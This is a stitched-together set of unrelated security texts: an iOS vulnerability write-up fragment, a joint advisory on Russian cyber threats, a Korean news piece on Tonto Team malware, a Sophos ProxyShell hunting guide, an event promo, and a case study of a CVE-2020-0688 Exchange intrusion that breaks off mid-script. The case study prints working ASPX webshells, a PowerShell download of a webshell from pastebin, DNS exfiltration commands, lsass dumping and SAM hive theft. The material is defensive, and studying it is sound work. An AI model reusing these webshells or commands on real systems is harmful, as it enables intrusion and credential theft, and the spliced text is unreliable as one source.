CGDataProviderCreateWithSoftMaskAndMatte | 0x7fff51bddad8 (libsystem_malloc.dylib) calloc | 0x7fff51bdd426 (libsystem_malloc.dylib) malloc_zone_calloc ``` ## The Vulnerability The OOB-Write vulnerability happens in the function “CGDataProviderDirectGetBytesAtPositionInternal” of the CoreGraphics library; the allocation of the target memory was inside the function “CGDataProviderCreateWithSoftMaskAndMatte”. It allocates 16 bytes of memory if the “bits_per_pixel” equals or less than 1 byte, which is less than copy length. We came out with a minimum PoC and reported to Apple on September 1st, 2020; the issue was fixed on the iOS 14 release. We will release this POC soon. ZecOps Mobile EDR & Mobile XDR customers are protected against NSO and are well equipped to discover other sophisticated attacks including 0-days attacks.
# Russian State-Sponsored and Criminal Cyber Threats to Critical Infrastructure ## SUMMARY The cybersecurity authorities of the United States, Australia, Canada, New Zealand, and the United Kingdom are releasing this joint Cybersecurity Advisory (CSA). The intent of this joint CSA is to warn organizations that Russia’s invasion of Ukraine could expose organizations both within and beyond the region to increased malicious cyber activity. This activity may occur as a response to the unprecedented economic costs imposed on Russia as well as materiel support provided by the United States and U.S. allies and partners. Evolving intelligence indicates that the Russian government is exploring options for potential cyberattacks. Actions critical infrastructure organizations should implement to immediately protect against Russian state-sponsored and criminal cyber threats include: - **Patch all systems.** Prioritize patching known exploited vulnerabilities. - **Enforce multifactor authentication.** - **Secure and monitor remote desktop protocol and other risky services.** - **Provide end-user awareness and training.** ## TECHNICAL DETAILS ### Russian State-Sponsored Cyber Operations Russian state-sponsored cyber actors have demonstrated capabilities to compromise IT networks, develop mechanisms to maintain long-term, persistent access to IT networks, exfiltrate sensitive data from IT and operational technology (OT) networks, and disrupt critical industrial control systems (ICS)/OT functions by deploying destructive malware. Historical operations have included deployment of destructive malware—such as BlackEnergy and NotPetya—against Ukrainian government and critical infrastructure organizations. Recent Russian state-sponsored cyber operations have included DDoS attacks against Ukrainian organizations. Cyber threat actors from the following Russian government and military organizations have conducted malicious cyber operations against IT and/or OT networks: - The Russian Federal Security Service (FSB) - Russian Foreign Intelligence Service (SVR) - Russian General Staff Main Intelligence Directorate (GRU) ### The Russian Federal Security Service Overview: FSB, the KGB’s successor agency, has conducted malicious cyber operations targeting the Energy Sector, including UK and U.S. energy companies, U.S. aviation organizations, U.S. government and military personnel, private organizations, cybersecurity companies, and journalists. ### Russian Foreign Intelligence Service Overview: SVR has operated an APT group since at least 2008 that has targeted multiple critical infrastructure organizations. SVR cyber threat actors have used a range of initial exploitation techniques that vary in sophistication coupled with stealthy intrusion tradecraft within compromised networks. ### GRU, 85th Main Special Service Center Overview: GTsSS, or Unit 26165, is an APT group that has operated since at least 2004 and primarily targets government organizations, travel and hospitality entities, research institutions, and non-governmental organizations, in addition to other critical infrastructure organizations. ### GRU’s Main Center of Special Technologies Overview: GTsST, or Unit 74455, is an APT group that has operated since at least 2009 and has targeted a variety of critical infrastructure organizations, including those in the Energy, Transportation Systems, and Financial Services Sectors. ### Russian-Aligned Cyber Threat Groups In addition to the APT groups identified, industry reporting identifies two intrusion sets—PRIMITIVE BEAR and VENOMOUS BEAR—as state-sponsored APT groups, but U.S., Australian, Canadian, New Zealand, and UK cyber authorities have not attributed these groups to the Russian government. ### Russian-Aligned Cybercrime Groups Cybercrime groups are typically financially motivated cyber actors that seek to exploit human or security vulnerabilities to enable direct theft of money or by extorting money from victims. These groups pose consistent threats to critical infrastructure organizations globally. Since Russia’s invasion of Ukraine in February 2022, some cybercrime groups have independently pledged support for the Russian government or the Russian people and/or threatened to conduct cyber operations to retaliate against perceived attacks against Russia or materiel support for Ukraine. ## MITIGATIONS U.S., Australian, Canadian, New Zealand, and UK cyber authorities urge critical infrastructure organizations to prepare for and mitigate potential cyber threats by immediately: 1. **Updating software** including operating systems, applications, and firmware on IT network assets. 2. **Enforcing MFA** to the greatest extent possible. 3. **Securing and monitoring RDP** and other potentially risky services. 4. **Providing end-user awareness and training** to help prevent successful targeted social engineering and spearphishing campaigns. ## Preparing for Cyber Incidents - Create, maintain, and exercise a cyber incident response and continuity of operations plan. - Maintain offline backups of data. - Ensure all backup data is encrypted, immutable, and covers the entire organization’s data infrastructure. ## Identity and Access Management - Require accounts with password logins to have strong passwords. - Implement authentication timeout and lockout features to prevent repeated failed login attempts. ## Protective Controls and Architecture - Identify, detect, and investigate abnormal activity that may indicate lateral movement by a threat actor. - Implement a firewall and configure it to block DNS responses from outside the enterprise network. ## Responding to Cyber Incidents Organizations detecting potential APT or ransomware activity in their IT or OT networks should: 1. Immediately isolate affected systems. 2. For DDoS attacks, identify the source address originating the attack. 3. Secure backups and ensure your backup data is offline and secure. 4. Collect and review relevant logs, data, and artifacts. 5. Report incidents to appropriate cyber and law enforcement authorities. ## RESOURCES - For more general information on Russian state-sponsored malicious cyber activity, see CISA’s Russia Cyber Threat Overview and Advisories webpage. - For alerts on malicious and criminal cyber activity, see the FBI Internet Crime Complaint Center webpage. - For more information and resources on protecting against and responding to ransomware, refer to StopRansomware.gov.
# 중국 기반 해커, 국내 에너지 기관 공격 파이어아이 “한국·일본 타깃 중국 기반 해킹조직, 국내 에너지 시설 공격한 증거 발견” 중국 기반 사이버 범죄조직이 국내 에너지 기업을 공격한 사실이 드러났다. 파이어아이가 공개한 보고서에 따르면 최근 국내 에너지 분야 기업 네트워크에서 멀웨어가 발견됐으며, 이는 중국 정부가 후원하는 것으로 의심되는 사이버 범죄 조직과 연관 있는 것으로 분석됐다. 이 공격그룹은 한국과 일본의 주요 기관을 공격해왔으며, 우리나라 에너지 산업 관련 기업을 노린 공격이 발견된 것은 이번이 처음이다. 다만 최초 감염 요소는 무엇인지 알려지지 않았다. ## 러시아·일본·한국 군사 조직 노리는 공격자 파이어아이가 국내 에너지 관련 기업에서 발견한 멀웨어는 캄손(CALMTHORN)과 고스트(GH0ST)다. 캄손은 TCP로 통신하는 비컨 백도어로, 파일 업로드, 리버스 쉘, 프록시 트래픽, 시스템 정보 수집 등의 명령을 지원한다. 고스트는 인터넷에 공개돼 있는 소스코드에서 유래한 원격 접속 해킹 도구(RAT)로, 공격자가 스크린과 오디오 캡처, 웹캠 작동, 프로세스 리스팅·종료, 명령쉘 열기, 이벤트 로그 삭제, 파일의 생성조작, 삭제, 실행, 전송 등의 기능을 활용할 수 있다. 캄손과 고스트는 중국 연계된 사이버 첩보 활동 단체인 톤토팀(Tonto Team)과 연관 있는 멀웨어다. 톤토팀은 2012년 혹은 이전부터 활동하고 있으며, 러시아, 일본, 한국의 군사·보안 관련 조직을 대상으로 공격을 수행하고 있다. 파이어아이는 톤토팀이 해킹그룹 탬프틱(TEMP.Tick)과 연관있을 것으로 보고 있다. 탬프틱은 중국 반체제 조직에 대한 모니터링 작업을 수행하는 집단으로, 중국 정부가 지원하는 해킹 그룹으로 의심된다. 2009년 혹은 그 이전부터 활동한 것으로 알려지며, 중국 반체제 조직 뿐 아니라 한국, 일본의 국방, 중공업, 항공우주, 기술, 은행, 헬스케어, 자동차, 미디어 산업을 주로 공격한다. 캄손, 고스트, 톤토팀, 탬프틱의 연관성을 드러내는 증거로, 파이어아이는 이들의 공격 목표가 동일하다는 것을 든다. 톤토팀과 탬프틱은 우리나라와 일본의 주요시설을 노리고 있다. 또한 이들이 특정 레벨에서 리소스를 공유하고 있는 정황도 발견했다. 톤토팀의 이전 공격 사례에서 캄손과 고스트를 사용했던 것을 보아 이번 국내 에너지 기관 공격도 톤토팀의 소행으로 의심된다. ## 동일한 공격도구 반복 사용하는 공격자 톤토팀과 탬프틱의 연관성은 지난해 9월 발견된 아이앰킹(IAMKING) 멀웨어 샘플을 통해 증명됐다. 아이앰킹은 파일 작성, 쉘 접근 확보, 폴더 및 파일 열기, 프로세스 실행, 피해자 데이터 수집 등이 가능한 백도어 프로그램이다. 파이어아이는 아이앰킹이 톤토팀과 탬프틱 전용 툴이라고 판단하고 있다. 톤토팀과 탬프틱은 둘 다 명령 및 제어를 위해 동일 IP 주소를 사용했으며, 아이앰킹은 하드코딩한 사용자 에이전트 문자열이 포함된 HTTP 기반의 드롭퍼 하드시멘트(HARDCEMENT) 다운로더와 동일 서버에 호스팅됐다. 하드시멘트는 탬프틱이 국내 포털사이트 다음의 도메인으로 위장해 공격할 때 사용한 것이다. 하드시멘트는 멀웨어 컴파일 시간이 지나고 몇 달 후 도메인 이름풀이(Domain resolution) 방법이 변경되었는데, 이는 탬프틱이 네트워크 사인을 변형하는 조치를 취하거나 업스트림 서비스 제공 업체가 명령 및 제어 통신을 원활하지 못하게 막는 조치를 취한다는 의미일 수 있다. 도메인 중 두 개에서 동적 DNS를 사용하므로 업스트림 업체가 이를 변경하기는 어렵기 때문에 후자의 경우일 가능성은 상대적으로 낮다. 만약 탬프틱이 변경하고 있는 것이라면, 이는 템프틱과 톤토팀이 연관되어 있다는 추가적인 증거가 될 것이다. ## “공격조직 개편으로 우리나라, 더 큰 위협 직면” 파이어아이는 “오바마 미국 전 대통령과 시진핑 중국 국가주석이 체결한 사이버 첩보활동 금지·합의 후 사이버 범죄 시장에서 조직개편이 일어났으며, 톤토팀의 사명과 구조에 변화가 있었을 것”이라며 “그들은 툴과 인프라 등의 자산을 통합하고, 중앙 배포 센터를 구축해 더 능숙하게 공격하고 있다. 이는 해당 지역에 더 큰 위협이 될 수 있다”고 설명했다.
# ProxyShell Vulnerabilities in Microsoft Exchange: What to Do **Greg Iddon** **August 23, 2021** **Last updated 2021-09-23 UTC 11:26** ## Overview Threat actors are actively scanning and exploiting vulnerable Microsoft Exchange servers that have not applied security patches released earlier this year. ProxyShell, the name given to a collection of vulnerabilities for Microsoft Exchange servers, enables an actor to bypass authentication and execute code as a privileged user. ProxyShell comprises three separate vulnerabilities used as part of a single attack chain: - **CVE-2021-34473**: Pre-auth path confusion vulnerability to bypass access control. Patched in KB5001779, released in April. - **CVE-2021-34523**: Privilege elevation vulnerability in the Exchange PowerShell backend. Patched in KB5001779, released in April. - **CVE-2021-31207**: Post-auth remote code execution via arbitrary file write. Patched in KB5003435, released in May. The vulnerabilities lie in the Microsoft Client Access Service (CAS) that typically runs on port 443 in IIS (Microsoft’s web server). CAS is commonly exposed to the public internet to enable users to access their email via mobile devices and web browsers. This exposure has led to widespread exploitation by threat actors who are commonly deploying web shells to remotely execute arbitrary code on compromised devices, similar to that seen in the HAFNIUM attack. ## What Should You Do? Watch the video above as Mat Gangwer, head of the Sophos Managed Threat Response (MTR) team, shares details about the threat and offers advice about how to respond. If you are using Microsoft Exchange server: 1. Backup Exchange IIS/Server logs and ensure you have applied the July 2021 security updates for Microsoft Exchange. Patching only ensures that the vulnerability cannot be further exploited. If you have already been breached, the software patches do not address post-exploit behavior by a threat actor. 2. (For non-Sophos MTR customers) Identify and investigate your exposure windows for adversarial activity. - Identify and delete web shells and malicious binaries. - Review process activity for instances of `w3wp.exe`. - Identify and remove any persistence established by an actor. 3. Ensure endpoint protection is deployed on all endpoints and servers. Verify that all protections have been enabled and your exclusions are kept to a minimum. ## Sophos Detections Sophos customers are protected by multiple detections for the exploitation of these vulnerabilities. They can be used by threat hunters to perform searches in their own environments. Detections include: - Troj/ASPDoor-Y (detects malicious PST files) - Troj/ASPDoor-AF (detects malicious PST files) - Troj/Agent-BHPF - Troj/Agent-BHQD (detects the binary component of LockFile ransomware) - Troj/WebShel-M - Troj/KillAV-IT - App/HamaKaze-A - App/HamaKaze-B - CXmal/WebAgnt-A (detects malicious PST files in the context of customers’ environments) SophosLabs has also published IPS signatures: | CVE | Sophos XG/Firewall | EIPS | SG UTM | |-----------------------|---------------------|--------------|-------------------------| | CVE-2021-34473 | 2305889, 2305807, 2305979 | 2305807 | 57906, 57907, 57908, 57909 | In addition, on August 24th, SophosLabs released a new, more generic signature 2305979 to detect attempted vulnerability exploit in Microsoft Exchange server. LockFile is a new ransomware family that appears to exploit the ProxyShell vulnerabilities to breach targets with unpatched, on-premises Microsoft Exchange servers. SophosLabs has released additional behavior-based protection for LockFile provided by the Mem/LockFile-A detection for Windows devices running Sophos endpoint and server protection managed through Sophos Central. ## Determining Impact with Sophos XDR ### 1. Investigate Exposure **Verifying Current Microsoft Exchange Version** To determine whether you are running an unpatched version of Exchange or not, the below XDR query for live Windows devices will produce a table of Exchange servers, their current version, and guidance whether they need patching or not. ```sql SELECT DISTINCT 'Check Exchange Version to confirm Patch. Manually verify build number from MS documentation./' Note, CASE product_version WHEN '15.2.922.13' THEN 'Exchange 2019 CU10 Jul21 patched against ProxyShell' WHEN '15.2.922.7' THEN 'Exchange 2019 CU10 patched against ProxyShell. Recommend also updating with recent July Patch.' WHEN '15.2.858.15' THEN 'Exchange 2019 CU9 Jul21 patched against ProxyShell' WHEN '15.2.858.12' THEN 'Exchange 2019 CU9 May21 patched against ProxyShell. Recommend also updating with recent July Patch.' WHEN '15.1.2308.14' THEN 'Exchange 2016 CU21 Jul21 patched against ProxyShell' WHEN '15.1.2308.8' THEN 'Exchange 2016 CU21 patched against ProxyShell. Recommend also updating with recent July Patch.' WHEN '15.1.2242.12' THEN 'Exchange 2016 CU21 Jul21 patched against ProxyShell.' WHEN '15.1.2242.10' THEN 'Exchange 2016 CU20 May21 patched against ProxyShell. Recommend also updating with recent July Patch.' WHEN '15.1.2176.14' THEN 'Exchange 2016 CU19 May21 patched against ProxyShell. Recommend also updating with recent July Patch.' WHEN '15.0.1497.23' THEN 'Exchange 2013 CU23 Jul21 patched against ProxyShell.' WHEN '15.0.1497.18' THEN 'Exchange 2013 CU23 May21 patched against ProxyShell. Recommend also updating with recent July Patch.' ELSE 'NOT PATCHED' END Result, 'Product_Version: ' || Product_version Evidence FROM file WHERE path = (( SELECT data FROM registry WHERE key = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ExchangeServer\v15\Setup' AND path = 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ExchangeServer\v15\Setup\MsiInstallPath' )||'bin\Microsoft.Exchange.RpcClientAccess.Service.exe') ``` **Analyze IIS Logs for autodiscover.json Abuse** As these vulnerabilities lie in the Exchange Client Access Service (CAS) which runs over IIS (web server), reviewing the IIS logs will reveal attempted and successful exploitation of the ProxyShell vulnerabilities. HTTP requests inbound to the IIS server will be detailed including the request type and path. By default, IIS logs are written to `C:\inetpub\logs\LogFiles\`. A common artifact seen in these logs for abuse of CVE-2021-34473 is the presence of `&Email=autodiscover/autodiscover.json` in the request path to confuse the Exchange proxy to erroneously strip the wrong part from the URL. E.g. `GET /autodiscover/autodiscover.json @evilcorp/ews/exchange.asmx?&Email=autodiscover/autodiscover.json%[email protected]` The below XDR query for live Windows devices will query the IIS logs on disk for any lines that contain the string ‘autodiscover.json’. ```sql SELECT grep.* FROM file CROSS JOIN grep ON (grep.path = file.path) WHERE file.path LIKE 'C:\inetpub\logs\LogFiles\W3SVC%\u_ex210[89]%' AND grep.pattern = 'autodiscover.json' ``` Should you later identify web shells, this same query can be repurposed to query for the web shell file name to reveal requests made to the web shell – simply change ‘autodiscover.json’ to ‘webshell_name.aspx’. Please note that this query can be slow depending on the volume of logs it needs to parse. ### 2. Identify Suspicious Web Shells and Binaries Adversaries exploiting these vulnerabilities are dropping web shells onto the compromised device through which they can issue additional commands such as downloading and executing malicious binaries (such as `.exe` or `.dll` files). As these vulnerabilities lie in CAS which runs on IIS, adversarial activity will stem from a `w3wp.exe` process, a worker process for IIS. **Web Shells on Disk** The below XDR query for live Windows devices looks at directories where adversaries are dropping web shells which may still be present on disk. Review any unexpected or recently created `.aspx` files that are present in the output of the query. E.g. `C:\inetpub\wwwroot\aspnet_client\654253568.aspx` ```sql SELECT * FROM file sf LEFT JOIN hash sh ON sf.path = sh.path WHERE sf.path LIKE 'C:\inetpub\wwwroot\aspnet_client\system_web\%.aspx' OR sf.path LIKE 'C:\inetpub\wwwroot\aspnet_client\%.aspx' OR sf.path LIKE 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\%.aspx' OR sf.path LIKE 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\ecp\auth\%.aspx' OR sf.path LIKE 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\current\%.aspx' OR sf.path LIKE 'C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\current\themes\%.aspx' OR sf.path LIKE 'C:\ProgramData\%.aspx' OR sf.path LIKE 'C:\ProgramData\%\%.aspx' ``` With the results, you can pivot from the path column of a suspected web shell by clicking the (…) button and selecting “File access history” to query and identify what processes have interacted with the file and which process created the file. Instances of `w3wp.exe` should be investigated to reveal further actions the adversary may have taken by pivoting from the `sophosPID` of the process, clicking the (…) button next to the `sophosPID`, and selecting the “Process activity history” query. **Historic Web Shell File Creation Events** Alternatively, to identify web shells that have been dropped but may have been deleted, you can interrogate the Sophos process and file journals to look at historic file creations for `.aspx` files in the last day by using the below XDR query for live Windows devices. To increase your hunt time range you can change ‘now’ and ‘-1 days’ to values that need to be investigated. ```sql SELECT CAST(datetime(sfj.time, 'unixepoch') AS TEXT) date, spj.processName, CASE sfj.eventType WHEN 0 THEN 'Created' END eventType, replace(sfj.pathname, rtrim(sfj.pathname, replace(sfj.pathname, '\', '')), '') fileName, spj.pathname processPath, sfj.pathname filePath, sfj.sophosPID FROM sophos_file_journal sfj LEFT JOIN sophos_process_journal spj ON spj.sophosPID = sfj.sophosPID AND spj.time = replace(sfj.sophosPID, rtrim(sfj.sophosPID, replace(sfj.sophosPID, ':', '')), '')/10000000-11644473600 WHERE sfj.time > strftime('%s', 'now', '-1 days') AND sfj.eventType IN (0) AND sfj.pathname LIKE '%.aspx'; ``` Similarly, the `sophosPID` of suspect processes, especially `w3wp.exe`, should be pivoted from and the process activity history reviewed to determine other actions the adversary may have taken. **Modified applicationHost.config PhysicalPaths** Threat actors have also been observed modifying the Exchange configuration, typically located at `C:\Windows\System32\inetsrv\Config\applicationHost.config`, to add new virtual directory paths to obfuscate the location of web shells. These paths are defined in the config under `physicalPath` parameter of a `virtualDirectory` definition. Any entries for web shells should be deleted and the IIS service restarted to reload the config. The below XDR query for live Windows devices will list all `physicalPath` entries of the `applicationHost.config` file. ```sql SELECT grep.* FROM file CROSS JOIN grep ON (grep.path = file.path) WHERE file.path LIKE 'C:\Windows\System32\inetsrv\Config\applicationHost.config' AND grep.pattern = 'physicalPath' ``` **New and Suspicious Files in System32** Actors have commonly been dropping malicious executables, via a web shell, to the System32 directory. Recently created `.exe` files and other suspicious files at this path should be investigated. E.g. `C:\Windows\System32\createhidetask.exe` E.g. `C:\Windows\System32\ApplicationUpdate.exe` The below XDR query for live Windows devices will list all the files currently in the System32 directory. ```sql SELECT * FROM FILE WHERE PATH LIKE 'C:\Windows\System32\%' ``` ### 3. Investigate Historical Command Executions **PowerShell and CMD Child Processes of w3wp** As detailed in the previous section, the presence and use of web shells will result in command executions and other suspicious activity stemming from an IIS Worker Process `w3wp.exe`. The below query for the XDR Data Lake will list details of hosts where `powershell.exe` or `cmd.exe` are child processes of `w3wp.exe` as well as detail the commands that have been executed. ```sql SELECT ingestion_timestamp, unix_time, epoch, meta_hostname, meta_ip_address, meta_mac_address, meta_os_name, meta_os_platform, meta_public_ip, cmdline, pid, name, path, sophos_pid, parent, parent_name, parent_path, parent_sophos_pid, username FROM xdr_data WHERE query_name = 'running_processes_windows_sophos' AND parent_name = 'w3wp.exe' AND (name = 'powershell.exe' OR name = 'cmd.exe') ``` Sophos MTR has observed threat actors executing the following commands during ProxyShell incidents which may aid you in identifying post-exploit activity: - whoami - Invoke-WebRequest - Start-Process - ping - mkdir - reg add - net user - net accounts - net localgroup - icacls - takeown - tasklist - schtasks ### 4. Locate Other Forms of Persistence **Scheduled Tasks** Sophos has observed threat actors establishing persistence on compromised devices by creating scheduled tasks to periodically execute a suspicious binary. The below XDR query for live Windows devices can be used to list the current Scheduled Tasks on a device which should be reviewed, and any suspicious tasks investigated. ```sql SELECT * FROM SCHEDULED_TASKS ``` ## How Sophos Managed Threat Response (MTR) Can Help Threats such as ProxyShell are a great example of the peace of mind you get knowing your organization is backed by an elite team of threat hunters and incident response experts. When the ProxyShell news broke, the Sophos MTR team immediately began to hunt and investigate in customer environments to determine if any activity was related to the attack. Additionally, they looked to uncover any new artifacts (e.g., IOCs) related to the attack that could provide further protection for all Sophos customers. The 24/7 nature of Sophos MTR meant that not a single second was wasted as we started hunting for evidence of abuse, ensuring our customers were protected. Concerned about ProxyShell? Contact Sophos MTR today to ensure that any potential adversarial activity in your environment is identified and neutralized, before any damage is done.
# Stronger Together Infosecurity Europe is the meeting place for the industry’s finest minds. Delivering expertise, knowledge, and networking opportunities to grow stronger and more resilient together. **21–23 June 2022** **ExCeL London** We assemble everyone and everything needed to protect your business from information security threats. Infosecurity Europe is the meeting place for the industry’s finest minds. Delivering expertise and knowledge from the world’s most celebrated cybersecurity experts, connecting practitioners with suppliers to find true solutions, and bringing together industry peers to network, share, and ultimately, grow stronger and more resilient together. Businesses come to buy. Professionals come to learn. Experts come to share. ## Why attend? With threats increasing—39% of UK businesses report a breach in the last year—equipping yourself with the right knowledge and tools has never been more important. The threats are complex, but finding solutions isn't. ### Get updates on the latest threats Ensure the effective protection of your key resources and systems. Get advice on the latest information and cyber security challenges or find immersive workshops and demonstrations to earn CPE & CPD credits. ### Make informed decisions Our curated conference programme means you can access all the information and industry expertise you need to make informed strategic decisions for your organisation. ### Find solutions for your challenges Compare the newest tech products that are solving today's and tomorrow's cyber security threats. Get technical advice so that you can be confident in the solution choices you make and the protection they provide. ### Keeping you safe at our event Your safety and your business are our priorities. At Infosecurity Europe, you can be confident that both are in safe hands. As well as carefully following the latest advice and guidelines, we are working with local authorities, and under our own strict precautions, to ensure we deliver a safe event for you to meet, learn, and do business. This means our event will look a little different this year, but these changes will allow you to enjoy the experience while keeping yourself and others safe. ## Our Safety Measures ### Welcoming our Infosecurity Speakers This year’s line-up is shaping up to be exceptional. Industry thought leaders and CISOs will be joining us, sharing their knowledge and insights about the latest threats, challenges, and innovations in cybersecurity. We are delighted to welcome: - M.G. Tom Copinger-Symes, Director Strategy and Military Digitisation, UK Strategic Command - B. Eliza Manningham-Buller, Former Head of MI5 - Misha Glenny, Author, Journalist and Specialist in Organised Crime and Cybersecurity - Geoff White, Author, The Lazarus Heist, Penguin Random House - Keith Martin, Professor of Information Security, University of London New speakers are being confirmed regularly, check out who else is joining us. ### Keep updated Keep up to date with news about Infosecurity Europe. Subscribe to our Newsletter.
# Exchange Exploit Case Study – CVE-2020-0688 **March 24, 2020** ## Abstract In this blog, I describe a recent intrusion that started with the exploit of CVE-2020-0688. Microsoft released a patch for this vulnerability on 11 February 2020. For this exploit to work, an authenticated account is needed to make requests against the Exchange Control Panel (ECP). Some organizations may still have not patched for this vulnerability for various reasons, such as prolonged change request procedures. One false sense of "comfort" for delaying this patch could be the fact that an authenticated account is needed to execute the exploit. However, harvesting a set of credentials from an organization is typically fairly easy, either via a credential harvesting email or via a simple dictionary attack against the Exchange server. Details on the technical aspects of this exploit have been widely described on various sites. In this blog, I will briefly describe the exploit artifacts and then jump into the actual activity that followed the exploit, including an interesting webshell that utilizes pipes for command execution. I will then describe how to decrypt the communication over this webshell. Finally, I will highlight some of the detection mechanisms that are native to the NetWitness Platform that will alert your organization to such activity. ## Exchange Exploit - CVE-2020-0688 The first sign of the exploit started on 26 February 2020. The attacker leveraged the credentials of an account it had already compromised to authenticate to OWA. An attacker could acquire such accounts either by guessing passwords due to poor password policy or by preceding the exploit with a credential harvesting attack. Once at least one set of credentials has been acquired, the attacker can start to issue commands via the exploit against ECP. The IIS logs contain these commands, and they can be easily decoded via a two-step process: URL Decode -> Base64 Decode. The following Cyberchef recipe helps us decode the highlighted exploit code: ``` URL_Decode()From_Base64('A-Za-z0-9%2B/%3D',true) ``` The highlighted encoded data above decodes to the following, where we see the attacker attempt to echo the string 'flogon' into a file named `flogon2.js` in one of the public-facing Exchange folders. The attacker performed two more exploit success checks by launching an FTP command to anonymously log in to IP address 185.25.51.71, followed by a ping request to a Burp Collaborator domain. The attacker returned on 29 February 2020 to attempt to establish persistence on the Exchange servers (multiple servers were load balanced). The exploit commands once again started with pings to Burp Collaborator domains and FTP connection attempts to IP address 185.25.51.71 to ensure that the server was still exploitable. These were followed up by commands to write simple strings into files in the Exchange directories. The attacker also attempted to create a local user account named “public” with password “Asp-=14789’’ via the exploit and attempted to add this account to the local administrators group. These two actions failed. ### Attacker commands ``` cmd /c net user public Asp-=14789 /add cmd /c net localgroup administrators public /add ``` The attacker issued several ping requests to subdomains under zhack.ca, which is a site that can be freely used to test data exfiltration over DNS. In these commands, the DNS resolution itself is what enables the sending of data to the attacker. Again, the attacker appears to have been trying to see if the exploit commands were successful, and these DNS requests would have confirmed the success of the exploit commands. Here are some of the generic domain names the attacker tried: ``` ping –n 1 asd.ddb8d339493dc0834c6f.d.zhack.ca ping –n 1 mydatahere.9234b19e99d260b486b5.d.zhack.ca ping –n 1 asasdd.ddb8d339493dc0834c6f.d.zhack.ca ``` After confirming that the DNS requests were being made, the attacker then started concatenating the output of PowerShell commands to these DNS requests in order to see the result of the commands. It is worth mentioning here that at this point the attacker was still executing commands via the exploit, and while the commands did execute, the attacker did not have a way to see the results of such attempts. Hence, initially, the attacker wrote some output to files as shown above (such as `flogon2.txt`), or in this case sending the output of the commands via DNS lookups. So, for example, the attacker tried commands such as: ### Concatenating PowerShell command results to DNS queries ``` powershell Resolve-DnsName((test-netconnection google.com -port 443 -informationlevel quiet).toString()+'.1.0d7a5e6cf01310fe3fd5.d.zhack.ca') powershell Resolve-DnsName((test-path 'c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth').toString()+$env:computername+'.2.0d7a5e6cf01310fe3fd5.d.zhack.ca') ``` These types of requests would have confirmed that the server is allowed to connect outbound to the Internet (by being able to reach google.com), test the existence of the specified path, and sent the hostname to the attacker. ## Entrenchment Once the attacker confirmed that the server(s) could reach the Internet and verified the Exchange path, he/she issued a command via the exploit to download a webshell hosted at pastebin into this directory under a file named `OutlookDN.aspx` (I am redacting the full pastebin link to prevent the hijacking of such webshells on other potential victims by other actors, since the webshell is password protected): ### Webshell Upload via Exploit ``` powershell (New-Object System.Net.WebClient).DownloadFile('http://pastebin.com/raw/**REDACTED**','C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\owa\auth\OutlookDN.aspx') ``` The webshell code downloaded from pastebin is shown below: ``` <%@ Page Language="C#" AutoEventWireup="true" %> <%@ Import Namespace="System.Runtime.InteropServices" %> <%@ Import Namespace="System.IO" %> <%@ Import Namespace="System.Data" %> <%@ Import Namespace="System.Reflection" %> <%@ Import Namespace="System.Diagnostics" %> <%@ Import Namespace="System.Web" %> <%@ Import Namespace="System.Web.UI" %> <%@ Import Namespace="System.Web.UI.WebControls" %> <form id="form1" runat="server"> <asp:TextBox id="cmd" runat="server" Text="whoami" /> <asp:Button id="btn" onclick="exec" runat="server" Text="execute" /> </form> <script runat="server"> protected void exec(object sender, EventArgs e) { Process p = new Process(); p.StartInfo.FileName = "cmd"; p.StartInfo.Arguments = "/c " + cmd.Text; p.StartInfo.UseShellExecute = false; p.StartInfo.RedirectStandardOutput = true; p.StartInfo.RedirectStandardError = true; p.Start(); Response.Write("<pre>\r\n" + p.StandardOutput.ReadToEnd() + "\r\n</pre>"); p.Close(); } protected void Page_Load(object sender, EventArgs e) { if (Request.Params["pw"] != "*******REDACTED********") Response.End(); } </script> ``` At this point, the exploit was no longer necessary since this webshell was now directly accessible and the results of the commands were displayed back to the attacker. The attacker proceeded to execute commands via this webshell and upload other webshells from this point forward. One of the other uploaded webshells is shown below: ### Webshell 2 ``` powershell [System.IO.File]::WriteAllText('c:\program files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\a.aspx', [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjIiU+PCVTeXN0ZW0uSU8uRmlsZS5Xcml ``` The webshell code decoded from above is: ``` <%@ Page Language="C#"%> <% System.IO.File.WriteAllBytes(Request["p"], Convert.FromBase64String(Request.Cookies["c"].Value)); %> ``` At this point, the attacker performed some of the most common activities that attackers perform during the early stages of the compromise, namely, credential harvesting, user and group lookups, some pings, and directory traversals. The credential harvesting consisted of several common techniques: ### Credential harvesting related activity - Used SysInternal’s ProcDump (pr.exe) to dump the lsass.exe process memory: ``` cmd.exe /c pr.exe -accepteula -ma lsass.exe lsasp ``` - Used the comsvcs.dll technique to dump the lsass.exe process memory: ``` cmd /c tasklist | findstr lsass.exe cmd.exe /c rundll32.exe c:\windows\system32\comsvcs.dll, Minidump 944 c:\windows\temp\temp.dmp full ``` - Obtained copies of the SAM and SYSTEM hives for the purpose of harvesting local account password hashes. These files were then placed on public-facing Exchange folders and downloaded directly from the Internet: ``` cmd /c copy c:\windows\system32\inetsrv\system "C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\system.js" cmd /c copy c:\windows\system32\inetsrv\sam "C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\ecp\sam.js" ``` In addition to the traditional ASPX type webshells, the attacker introduced another type of webshell into the Exchange servers. Two files were uploaded under the `c:\windows\temp\` folder to set up this new backdoor: - `C:\windows\temp\System.Web.TransportClient.dll` - `C:\windows\temp\tmp.ps1` File `System.Web.TransportClient.dll` is a webshell, whereas file `tmp.ps1` is a script to register this DLL with IIS. The content of this script is shown below: ``` [System.Reflection.Assembly]::Load("System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a") $publish = New-Object System.EnterpriseServices.Internal.Publish $name = (gi C:\Windows\Temp\System.Web.TransportClient.dll).FullName $publish.GacInstall($name) $type = 